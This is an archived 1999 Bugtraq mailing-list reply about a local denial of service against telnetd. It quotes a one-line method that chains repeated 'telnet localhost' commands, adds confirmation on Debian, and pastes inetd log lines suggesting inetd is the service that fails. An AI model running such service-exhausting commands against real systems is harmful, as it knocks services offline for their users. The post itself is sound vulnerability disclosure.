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Re: local telnetd DoS

daemon@ATHENA.MIT.EDU (infernix)
Sat Sep 11 18:29:05 1999

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Message-Id:  <004f01befba5$7a393e20$0400a8c0@ggmc.nl>
Date:         Fri, 10 Sep 1999 17:59:34 +0200
Reply-To: infernix <infernix@GGMC.NL>
From: infernix <infernix@GGMC.NL>
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To: BUGTRAQ@SECURITYFOCUS.COM

Hi,

> I found local DoS that Crash telnetd (tested on Slackware 4.0, RH 5.2)
> type
> telnet localhost | telnet localhost | telnet localhost ...... about 50
times
> result will be 'Connection Refused' , telnetd crash.
>
> Zo0mer // kpz2000

Tested on Debian 2.1, it crashes there too. although i dont think telnetd is
the problem. i think its inetd:

Sep  9 17:55:05 server inetd[186]: telnet/tcp server failing (looping),
service terminated
Sep  9 17:55:28 server inetd[186]: auth/tcp server failing (looping),
service terminated

as you can see it crashed inetd's identd service too.

l8r,

infernix

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